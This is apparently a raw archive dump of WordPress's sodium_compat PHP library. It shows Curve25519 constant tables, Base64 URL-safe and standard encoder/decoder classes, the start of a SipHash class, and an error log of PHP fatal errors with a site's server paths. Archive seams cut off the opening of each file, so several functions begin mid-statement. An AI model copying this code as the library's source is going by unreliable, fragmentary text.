10048127), ), ), array( array( array(-12622226, -6204820, 30718825, 2591312, -10617028, 12192840, 18873298, -7297090, -32297756, 15221632), array(-26478122, -11103864, 11546244, -1852483, 9180880, 7656409, -21343950, 2095755, 29769758, 6593415), array(-31994208, -2907461, 4176912, 3264766, 12538965, -868111, 26312345, -6118678, 30958054, 8292160), ), array( array(31429822, -13959116, 29173532, 15632448, 12174511, -2760094, 32808831, 3977186, 26143136, -3148876), array(22648901, 1402143, -22799984, 13746059, 7936347, 365344, -8668633, -1674433, -3758243, -2304625), array(-15491917, 8012313, -2514730, -12702462, -23965846, -10254029, -1612713, -1535569, -16664475, 8194478), ), array( array(27338066, -7507420, -7414224, 10140405, -19026427, -6589889, 27277191, 8855376, 28572286, 3005164), array(26287124, 4821776, 25476601, -4145903, -3764513, -15788984, -18008582, 1182479, -26094821, -13079595), array(-7171154, 3178080, 23970071, 6201893, -17195577, -4489192, -21876275, -13982627, 32208683, -1198248), ), array( array(-16657702, 2817643, -10286362, 14811298, 6024667, 13349505, -27315504, -10497842, -27672585, -11539858), array(15941029, -9405932, -21367050, 8062055, 31876073, -238629, -15278393, -1444429, 15397331, -4130193), array(8934485, -13485467, -23286397, -13423241, -32446090, 14047986, 31170398, -1441021, -27505566, 15087184), ), array( array(-18357243, -2156491, 24524913, -16677868, 15520427, -6360776, -15502406, 11461896, 16788528, -5868942), array(-1947386, 16013773, 21750665, 3714552, -17401782, -16055433, -3770287, -10323320, 31322514, -11615635), array(21426655, -5650218, -13648287, -5347537, -28812189, -4920970, -18275391, -14621414, 13040862, -12112948), ), array( array(11293895, 12478086, -27136401, 15083750, -29307421, 14748872, 14555558, -13417103, 1613711, 4896935), array(-25894883, 15323294, -8489791, -8057900, 25967126, -13425460, 2825960, -4897045, -23971776, -11267415), array(-15924766, -5229880, -17443532, 6410664, 3622847, 10243618, 20615400, 12405433, -23753030, -8436416), ), array( array(-7091295, 12556208, -20191352, 9025187, -17072479, 4333801, 4378436, 2432030, 23097949, -566018), array(4565804, -16025654, 20084412, -7842817, 1724999, 189254, 24767264, 10103221, -18512313, 2424778), array(366633, -11976806, 8173090, -6890119, 30788634, 5745705, -7168678, 1344109, -3642553, 12412659), ), array( array(-24001791, 7690286, 14929416, -168257, -32210835, -13412986, 24162697, -15326504, -3141501, 11179385), array(18289522, -14724954, 8056945, 16430056, -21729724, 7842514, -6001441, -1486897, -18684645, -11443503), array(476239, 6601091, -6152790, -9723375, 17503545, -4863900, 27672959, 13403813, 11052904, 5219329), ), ), array( array( array(20678546, -8375738, -32671898, 8849123, -5009758, 14574752, 31186971, -3973730, 9014762, -8579056), array(-13644050, -10350239, -15962508, 5075808, -1514661, -11534600, -33102500, 9160280, 8473550, -3256838), array(24900749, 14435722, 17209120, -15292541, -22592275, 9878983, -7689309, -16335821, -24568481, 11788948), ), array( array(-3118155, -11395194, -13802089, 14797441, 9652448, -6845904, -20037437, 10410733, -24568470, -1458691), array(-15659161, 16736706, -22467150, 10215878, -9097177, 7563911, 11871841, -12505194, -18513325, 8464118), array(-23400612, 8348507, -14585951, -861714, -3950205, -6373419, 14325289, 8628612, 33313881, -8370517), ), array( array(-20186973, -4967935, 22367356, 5271547, -1097117, -4788838, -24805667, -10236854, -8940735, -5818269), array(-6948785, -1795212, -32625683, -16021179, 32635414, -7374245, 15989197, -12838188, 28358192, -4253904), array(-23561781, -2799059, -32351682, -1661963, -9147719, 10429267, -16637684, 4072016, -5351664, 5596589), ), array( array(-28236598, -3390048, 12312896, 6213178, 3117142, 16078565, 29266239, 2557221, 1768301, 15373193), array(-7243358, -3246960, -4593467, -7553353, -127927, -912245, -1090902, -4504991, -24660491, 3442910), array(-30210571, 5124043, 14181784, 8197961, 18964734, -11939093, 22597931, 7176455, -18585478, 13365930), ), array( array(-7877390, -1499958, 8324673, 4690079, 6261860, 890446, 24538107, -8570186, -9689599, -3031667), array(25008904, -10771599, -4305031, -9638010, 16265036, 15721635, 683793, -11823784, 15723479, -15163481), array(-9660625, 12374379, -27006999, -7026148, -7724114, -12314514, 11879682, 5400171, 519526, -1235876), ), array( array(22258397, -16332233, -7869817, 14613016, -22520255, -2950923, -20353881, 7315967, 16648397, 7605640), array(-8081308, -8464597, -8223311, 9719710, 19259459, -15348212, 23994942, -5281555, -9468848, 4763278), array(-21699244, 9220969, -15730624, 1084137, -25476107, -2852390, 31088447, -7764523, -11356529, 728112), ), array( array(26047220, -11751471, -6900323, -16521798, 24092068, 9158119, -4273545, -12555558, -29365436, -5498272), array(17510331, -322857, 5854289, 8403524, 17133918, -3112612, -28111007, 12327945, 10750447, 10014012), array(-10312768, 3936952, 9156313, -8897683, 16498692, -994647, -27481051, -666732, 3424691, 7540221), ), array( array(30322361, -6964110, 11361005, -4143317, 7433304, 4989748, -7071422, -16317219, -9244265, 15258046), array(13054562, -2779497, 19155474, 469045, -12482797, 4566042, 5631406, 2711395, 1062915, -5136345), array(-19240248, -11254599, -29509029, -7499965, -5835763, 13005411, -6066489, 12194497, 32960380, 1459310), ), ), array( array( array(19852034, 7027924, 23669353, 10020366, 8586503, -6657907, 394197, -6101885, 18638003, -11174937), array(31395534, 15098109, 26581030, 8030562, -16527914, -5007134, 9012486, -7584354, -6643087, -5442636), array(-9192165, -2347377, -1997099, 4529534, 25766844, 607986, -13222, 9677543, -32294889, -6456008), ), array( array(-2444496, -149937, 29348902, 8186665, 1873760, 12489863, -30934579, -7839692, -7852844, -8138429), array(-15236356, -15433509, 7766470, 746860, 26346930, -10221762, -27333451, 10754588, -9431476, 5203576), array(31834314, 14135496, -770007, 5159118, 20917671, -16768096, -7467973, -7337524, 31809243, 7347066), ), array( array(-9606723, -11874240, 20414459, 13033986, 13716524, -11691881, 19797970, -12211255, 15192876, -2087490), array(-12663563, -2181719, 1168162, -3804809, 26747877, -14138091, 10609330, 12694420, 33473243, -13382104), array(33184999, 11180355, 15832085, -11385430, -1633671, 225884, 15089336, -11023903, -6135662, 14480053), ), array( array(31308717, -5619998, 31030840, -1897099, 15674547, -6582883, 5496208, 13685227, 27595050, 8737275), array(-20318852, -15150239, 10933843, -16178022, 8335352, -7546022, -31008351, -12610604, 26498114, 66511), array(22644454, -8761729, -16671776, 4884562, -3105614, -13559366, 30540766, -4286747, -13327787, -7515095), ), array( array(-28017847, 9834845, 18617207, -2681312, -3401956, -13307506, 8205540, 13585437, -17127465, 15115439), array(23711543, -672915, 31206561, -8362711, 6164647, -9709987, -33535882, -1426096, 8236921, 16492939), array(-23910559, -13515526, -26299483, -4503841, 25005590, -7687270, 19574902, 10071562, 6708380, -6222424), ), array( array(2101391, -4930054, 19702731, 2367575, -15427167, 1047675, 5301017, 9328700, 29955601, -11678310), array(3096359, 9271816, -21620864, -15521844, -14847996, -7592937, -25892142, -12635595, -9917575, 6216608), array(-32615849, 338663, -25195611, 2510422, -29213566, -13820213, 24822830, -6146567, -26767480, 7525079), ), array( array(-23066649, -13985623, 16133487, -7896178, -3389565, 778788, -910336, -2782495, -19386633, 11994101), array(21691500, -13624626, -641331, -14367021, 3285881, -3483596, -25064666, 9718258, -7477437, 13381418), array(18445390, -4202236, 14979846, 11622458, -1727110, -3582980, 23111648, -6375247, 28535282, 15779576), ), array( array(30098053, 3089662, -9234387, 16662135, -21306940, 11308411, -14068454, 12021730, 9955285, -16303356), array(9734894, -14576830, -7473633, -9138735, 2060392, 11313496, -18426029, 9924399, 20194861, 13380996), array(-26378102, -7965207, -22167821, 15789297, -18055342, -6168792, -1984914, 15707771, 26342023, 10146099), ), ), array( array( array(-26016874, -219943, 21339191, -41388, 19745256, -2878700, -29637280, 2227040, 21612326, -545728), array(-13077387, 1184228, 23562814, -5970442, -20351244, -6348714, 25764461, 12243797, -20856566, 11649658), array(-10031494, 11262626, 27384172, 2271902, 26947504, -15997771, 39944, 6114064, 33514190, 2333242), ), array( array(-21433588, -12421821, 8119782, 7219913, -21830522, -9016134, -6679750, -12670638, 24350578, -13450001), array(-4116307, -11271533, -23886186, 4843615, -30088339, 690623, -31536088, -10406836, 8317860, 12352766), array(18200138, -14475911, -33087759, -2696619, -23702521, -9102511, -23552096, -2287550, 20712163, 6719373), ), array( array(26656208, 6075253, -7858556, 1886072, -28344043, 4262326, 11117530, -3763210, 26224235, -3297458), array(-17168938, -14854097, -3395676, -16369877, -19954045, 14050420, 21728352, 9493610, 18620611, -16428628), array(-13323321, 13325349, 11432106, 5964811, 18609221, 6062965, -5269471, -9725556, -30701573, -16479657), ), array( array(-23860538, -11233159, 26961357, 1640861, -32413112, -16737940, 12248509, -5240639, 13735342, 1934062), array(25089769, 6742589, 17081145, -13406266, 21909293, -16067981, -15136294, -3765346, -21277997, 5473616), array(31883677, -7961101, 1083432, -11572403, 22828471, 13290673, -7125085, 12469656, 29111212, -5451014), ), array( array(24244947, -15050407, -26262976, 2791540, -14997599, 16666678, 24367466, 6388839, -10295587, 452383), array(-25640782, -3417841, 5217916, 16224624, 19987036, -4082269, -24236251, -5915248, 15766062, 8407814), array(-20406999, 13990231, 15495425, 16395525, 5377168, 15166495, -8917023, -4388953, -8067909, 2276718), ), array( array(30157918, 12924066, -17712050, 9245753, 19895028, 3368142, -23827587, 5096219, 22740376, -7303417), array(2041139, -14256350, 7783687, 13876377, -25946985, -13352459, 24051124, 13742383, -15637599, 13295222), array(33338237, -8505733, 12532113, 7977527, 9106186, -1715251, -17720195, -4612972, -4451357, -14669444), ), array( array(-20045281, 5454097, -14346548, 6447146, 28862071, 1883651, -2469266, -4141880, 7770569, 9620597), array(23208068, 7979712, 33071466, 8149229, 1758231, -10834995, 30945528, -1694323, -33502340, -14767970), array(1439958, -16270480, -1079989, -793782, 4625402, 10647766, -5043801, 1220118, 30494170, -11440799), ), array( array(-5037580, -13028295, -2970559, -3061767, 15640974, -6701666, -26739026, 926050, -1684339, -13333647), array(13908495, -3549272, 30919928, -6273825, -21521863, 7989039, 9021034, 9078865, 3353509, 4033511), array(-29663431, -15113610, 32259991, -344482, 24295849, -12912123, 23161163, 8839127, 27485041, 7356032), ), ), array( array( array(9661027, 705443, 11980065, -5370154, -1628543, 14661173, -6346142, 2625015, 28431036, -16771834), array(-23839233, -8311415, -25945511, 7480958, -17681669, -8354183, -22545972, 14150565, 15970762, 4099461), array(29262576, 16756590, 26350592, -8793563, 8529671, -11208050, 13617293, -9937143, 11465739, 8317062), ), array( array(-25493081, -6962928, 32500200, -9419051, -23038724, -2302222, 14898637, 3848455, 20969334, -5157516), array(-20384450, -14347713, -18336405, 13884722, -33039454, 2842114, -21610826, -3649888, 11177095, 14989547), array(-24496721, -11716016, 16959896, 2278463, 12066309, 10137771, 13515641, 2581286, -28487508, 9930240), ), array( array(-17751622, -2097826, 16544300, -13009300, -15914807, -14949081, 18345767, -13403753, 16291481, -5314038), array(-33229194, 2553288, 32678213, 9875984, 8534129, 6889387, -9676774, 6957617, 4368891, 9788741), array(16660756, 7281060, -10830758, 12911820, 20108584, -8101676, -21722536, -8613148, 16250552, -11111103), ), array( array(-19765507, 2390526, -16551031, 14161980, 1905286, 6414907, 4689584, 10604807, -30190403, 4782747), array(-1354539, 14736941, -7367442, -13292886, 7710542, -14155590, -9981571, 4383045, 22546403, 437323), array(31665577, -12180464, -16186830, 1491339, -18368625, 3294682, 27343084, 2786261, -30633590, -14097016), ), array( array(-14467279, -683715, -33374107, 7448552, 19294360, 14334329, -19690631, 2355319, -19284671, -6114373), array(15121312, -15796162, 6377020, -6031361, -10798111, -12957845, 18952177, 15496498, -29380133, 11754228), array(-2637277, -13483075, 8488727, -14303896, 12728761, -1622493, 7141596, 11724556, 22761615, -10134141), ), array( array(16918416, 11729663, -18083579, 3022987, -31015732, -13339659, -28741185, -12227393, 32851222, 11717399), array(11166634, 7338049, -6722523, 4531520, -29468672, -7302055, 31474879, 3483633, -1193175, -4030831), array(-185635, 9921305, 31456609, -13536438, -12013818, 13348923, 33142652, 6546660, -19985279, -3948376), ), array( array(-32460596, 11266712, -11197107, -7899103, 31703694, 3855903, -8537131, -12833048, -30772034, -15486313), array(-18006477, 12709068, 3991746, -6479188, -21491523, -10550425, -31135347, -16049879, 10928917, 3011958), array(-6957757, -15594337, 31696059, 334240, 29576716, 14796075, -30831056, -12805180, 18008031, 10258577), ), array( array(-22448644, 15655569, 7018479, -4410003, -30314266, -1201591, -1853465, 1367120, 25127874, 6671743), array(29701166, -14373934, -10878120, 9279288, -17568, 13127210, 21382910, 11042292, 25838796, 4642684), array(-20430234, 14955537, -24126347, 8124619, -5369288, -5990470, 30468147, -13900640, 18423289, 4177476), ), ) ); /** * See: libsodium's crypto_core/curve25519/ref10/base2.h * * @var array basically int[8][3] */ protected static $base2 = array( array( array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605), array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378), array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546), ), array( array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024), array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574), array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357), ), array( array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380), array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306), array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942), ), array( array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766), array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701), array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300), ), array( array(-22518993, -6692182, 14201702, -8745502, -23510406, 8844726, 18474211, -1361450, -13062696, 13821877), array(-6455177, -7839871, 3374702, -4740862, -27098617, -10571707, 31655028, -7212327, 18853322, -14220951), array(4566830, -12963868, -28974889, -12240689, -7602672, -2830569, -8514358, -10431137, 2207753, -3209784), ), array( array(-25154831, -4185821, 29681144, 7868801, -6854661, -9423865, -12437364, -663000, -31111463, -16132436), array(25576264, -2703214, 7349804, -11814844, 16472782, 9300885, 3844789, 15725684, 171356, 6466918), array(23103977, 13316479, 9739013, -16149481, 817875, -15038942, 8965339, -14088058, -30714912, 16193877), ), array( array(-33521811, 3180713, -2394130, 14003687, -16903474, -16270840, 17238398, 4729455, -18074513, 9256800), array(-25182317, -4174131, 32336398, 5036987, -21236817, 11360617, 22616405, 9761698, -19827198, 630305), array(-13720693, 2639453, -24237460, -7406481, 9494427, -5774029, -6554551, -15960994, -2449256, -14291300), ), array( array(-3151181, -5046075, 9282714, 6866145, -31907062, -863023, -18940575, 15033784, 25105118, -7894876), array(-24326370, 15950226, -31801215, -14592823, -11662737, -5090925, 1573892, -2625887, 2198790, -15804619), array(-3099351, 10324967, -2241613, 7453183, -5446979, -2735503, -13812022, -16236442, -32461234, -12290683), ) ); /** * 37095705934669439343138083508754565189542113879843219016388785533085940283555 * * @var array */ protected static $d = array( -10913610, 13857413, -15372611, 6949391, 114729, -8787816, -6275908, -3247719, -18696448, -12055116 ); /** * 2 * d = 16295367250680780974490674513165176452449235426866156013048779062215315747161 * * @var array */ protected static $d2 = array( -21827239, -5839606, -30745221, 13898782, 229458, 15978800, -12551817, -6495438, 29715968, 9444199 ); /** * sqrt(-1) * * @var array */ protected static $sqrtm1 = array( -32595792, -7943725, 9377950, 3500415, 12389472, -272473, -25146209, -2005654, 326686, 11406482 ); /** * 1 / sqrt(a - d) * * @var array */ protected static $invsqrtamd = array( 6111485, 4156064, -27798727, 12243468, -25904040, 120897, 20826367, -7060776, 6093568, -1986012 ); /** * sqrt(ad - 1) with a = -1 (mod p) * * @var array */ protected static $sqrtadm1 = array( 24849947, -153582, -23613485, 6347715, -21072328, -667138, -25271143, -15367704, -870347, 14525639 ); /** * 1 - d ^ 2 * * @var array */ protected static $onemsqd = array( 6275446, -16617371, -22938544, -3773710, 11667077, 7397348, -27922721, 1766195, -24433858, 672203 ); /** * (d - 1) ^ 2 * @var array */ protected static $sqdmone = array( 15551795, -11097455, -13425098, -10125071, -11896535, 10178284, -26634327, 4729244, -5282110, -10116402 ); /* * 2^252+27742317777372353535851937790883648493 static const unsigned char L[] = { 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10 }; */ const L = "\xed\xd3\xf5\x5c\x1a\x63\x12\x58\xd6\x9c\xf7\xa2\xde\xf9\xde\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10"; } PK*L[Ťhhsrc/Core/Curve25519/error_lognu[[18-May-2025 07:38:45 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12 [05-Jun-2025 02:43:48 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12 [17-Jun-2025 05:49:01 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12 [28-Jun-2025 11:13:49 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12 [11-Jul-2025 10:20:52 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12 PK*L[LW33src/Core/Base64/UrlSafe.phpnu[ $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3)); $b0 = $chunk[1]; $b1 = $chunk[2]; $b2 = $chunk[3]; $dest .= self::encode6Bits( $b0 >> 2 ) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) . self::encode6Bits( $b2 & 63); } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $b0 = $chunk[1]; if ($i + 1 < $srcLen) { $b1 = $chunk[2]; $dest .= self::encode6Bits($b0 >> 2) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits(($b1 << 2) & 63); if ($pad) { $dest .= '='; } } else { $dest .= self::encode6Bits( $b0 >> 2) . self::encode6Bits(($b0 << 4) & 63); if ($pad) { $dest .= '=='; } } } return $dest; } /** * decode from base64 into binary * * Base64 character set "./[A-Z][a-z][0-9]" * * @param string $src * @param bool $strictPadding * @return string * @throws RangeException * @throws TypeError * @psalm-suppress RedundantCondition */ public static function decode($src, $strictPadding = false) { // Remove padding $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); if ($srcLen === 0) { return ''; } if ($strictPadding) { if (($srcLen & 3) === 0) { if ($src[$srcLen - 1] === '=') { $srcLen--; if ($src[$srcLen - 1] === '=') { $srcLen--; } } } if (($srcLen & 3) === 1) { throw new RangeException( 'Incorrect padding' ); } if ($src[$srcLen - 1] === '=') { throw new RangeException( 'Incorrect padding' ); } } else { $src = rtrim($src, '='); $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); } $err = 0; $dest = ''; // Main loop (no padding): for ($i = 0; $i + 4 <= $srcLen; $i += 4) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4)); $c0 = self::decode6Bits($chunk[1]); $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $c3 = self::decode6Bits($chunk[4]); $dest .= pack( 'CCC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff), ((($c2 << 6) | $c3) & 0xff) ); $err |= ($c0 | $c1 | $c2 | $c3) >> 8; } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $c0 = self::decode6Bits($chunk[1]); if ($i + 2 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $dest .= pack( 'CC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff) ); $err |= ($c0 | $c1 | $c2) >> 8; } elseif ($i + 1 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $dest .= pack( 'C', ((($c0 << 2) | ($c1 >> 4)) & 0xff) ); $err |= ($c0 | $c1) >> 8; } elseif ($i < $srcLen && $strictPadding) { $err |= 1; } } /** @var bool $check */ $check = ($err === 0); if (!$check) { throw new RangeException( 'Base64::decode() only expects characters in the correct base64 alphabet' ); } return $dest; } // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE /** * Uses bitwise operators instead of table-lookups to turn 6-bit integers * into 8-bit integers. * * Base64 character set: * [A-Z] [a-z] [0-9] + / * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f * * @param int $src * @return int */ protected static function decode6Bits($src) { $ret = -1; // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64 $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64); // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70 $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70); // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5 $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5); // if ($src == 0x2c) $ret += 62 + 1; $ret += (((0x2c - $src) & ($src - 0x2e)) >> 8) & 63; // if ($src == 0x5f) ret += 63 + 1; $ret += (((0x5e - $src) & ($src - 0x60)) >> 8) & 64; return $ret; } /** * Uses bitwise operators instead of table-lookups to turn 8-bit integers * into 6-bit integers. * * @param int $src * @return string */ protected static function encode6Bits($src) { $diff = 0x41; // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6 $diff += ((25 - $src) >> 8) & 6; // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75 $diff -= ((51 - $src) >> 8) & 75; // if ($src > 61) $diff += 0x2d - 0x30 - 10; // -13 $diff -= ((61 - $src) >> 8) & 13; // if ($src > 62) $diff += 0x5f - 0x2b - 1; // 3 $diff += ((62 - $src) >> 8) & 49; return pack('C', $src + $diff); } } PK*L[$T--src/Core/Base64/Original.phpnu[ $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3)); $b0 = $chunk[1]; $b1 = $chunk[2]; $b2 = $chunk[3]; $dest .= self::encode6Bits( $b0 >> 2 ) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) . self::encode6Bits( $b2 & 63); } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $b0 = $chunk[1]; if ($i + 1 < $srcLen) { $b1 = $chunk[2]; $dest .= self::encode6Bits($b0 >> 2) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits(($b1 << 2) & 63); if ($pad) { $dest .= '='; } } else { $dest .= self::encode6Bits( $b0 >> 2) . self::encode6Bits(($b0 << 4) & 63); if ($pad) { $dest .= '=='; } } } return $dest; } /** * decode from base64 into binary * * Base64 character set "./[A-Z][a-z][0-9]" * * @param string $src * @param bool $strictPadding * @return string * @throws RangeException * @throws TypeError * @psalm-suppress RedundantCondition */ public static function decode($src, $strictPadding = false) { // Remove padding $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); if ($srcLen === 0) { return ''; } if ($strictPadding) { if (($srcLen & 3) === 0) { if ($src[$srcLen - 1] === '=') { $srcLen--; if ($src[$srcLen - 1] === '=') { $srcLen--; } } } if (($srcLen & 3) === 1) { throw new RangeException( 'Incorrect padding' ); } if ($src[$srcLen - 1] === '=') { throw new RangeException( 'Incorrect padding' ); } } else { $src = rtrim($src, '='); $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); } $err = 0; $dest = ''; // Main loop (no padding): for ($i = 0; $i + 4 <= $srcLen; $i += 4) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4)); $c0 = self::decode6Bits($chunk[1]); $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $c3 = self::decode6Bits($chunk[4]); $dest .= pack( 'CCC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff), ((($c2 << 6) | $c3) & 0xff) ); $err |= ($c0 | $c1 | $c2 | $c3) >> 8; } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $c0 = self::decode6Bits($chunk[1]); if ($i + 2 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $dest .= pack( 'CC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff) ); $err |= ($c0 | $c1 | $c2) >> 8; } elseif ($i + 1 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $dest .= pack( 'C', ((($c0 << 2) | ($c1 >> 4)) & 0xff) ); $err |= ($c0 | $c1) >> 8; } elseif ($i < $srcLen && $strictPadding) { $err |= 1; } } /** @var bool $check */ $check = ($err === 0); if (!$check) { throw new RangeException( 'Base64::decode() only expects characters in the correct base64 alphabet' ); } return $dest; } // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE /** * Uses bitwise operators instead of table-lookups to turn 6-bit integers * into 8-bit integers. * * Base64 character set: * [A-Z] [a-z] [0-9] + / * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f * * @param int $src * @return int */ protected static function decode6Bits($src) { $ret = -1; // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64 $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64); // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70 $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70); // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5 $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5); // if ($src == 0x2b) $ret += 62 + 1; $ret += (((0x2a - $src) & ($src - 0x2c)) >> 8) & 63; // if ($src == 0x2f) ret += 63 + 1; $ret += (((0x2e - $src) & ($src - 0x30)) >> 8) & 64; return $ret; } /** * Uses bitwise operators instead of table-lookups to turn 8-bit integers * into 6-bit integers. * * @param int $src * @return string */ protected static function encode6Bits($src) { $diff = 0x41; // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6 $diff += ((25 - $src) >> 8) & 6; // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75 $diff -= ((51 - $src) >> 8) & 75; // if ($src > 61) $diff += 0x2b - 0x30 - 10; // -15 $diff -= ((61 - $src) >> 8) & 15; // if ($src > 62) $diff += 0x2f - 0x2b - 1; // 3 $diff += ((62 - $src) >> 8) & 3; return pack('C', $src + $diff); } } PK*L[]iu) ) src/Core/SipHash.phpnu[ */ public static function add(array $a, array $b) { /** @var int $x1 */ $x1 = $a[1] + $b[1]; /** @var int $c */ $c = $x1 >> 32; // Carry if ($a + $b) > 0xffffffff /** @var int $x0 */ $x0 = $a[0] + $b[0] + $c; return array( $x0 & 0xffffffff, $x1 & 0xffffffff ); } /** * @internal You should not use this directly from another application * * @param int $int0 * @param int $int1 * @param int $c * @return array */ public static function rotl_64($int0, $int1, $c) { $int0 &= 0xffffffff; $int1 &= 0xffffffff; $c &= 63; if ($c === 32) { return array($int1, $int0); } if ($c > 31) { $tmp = $int1; $int1 = $int0; $int0 = $tmp; $c &= 31; } if ($c === 0) { return array($int0, $int1); } return array( 0xffffffff & ( ($int0 << $c) | ($int1 >> (32 - $c)) ), 0xffffffff & ( ($int1 << $c) | ($int0 >> (32 - $c)) ), ); } /** * Implements 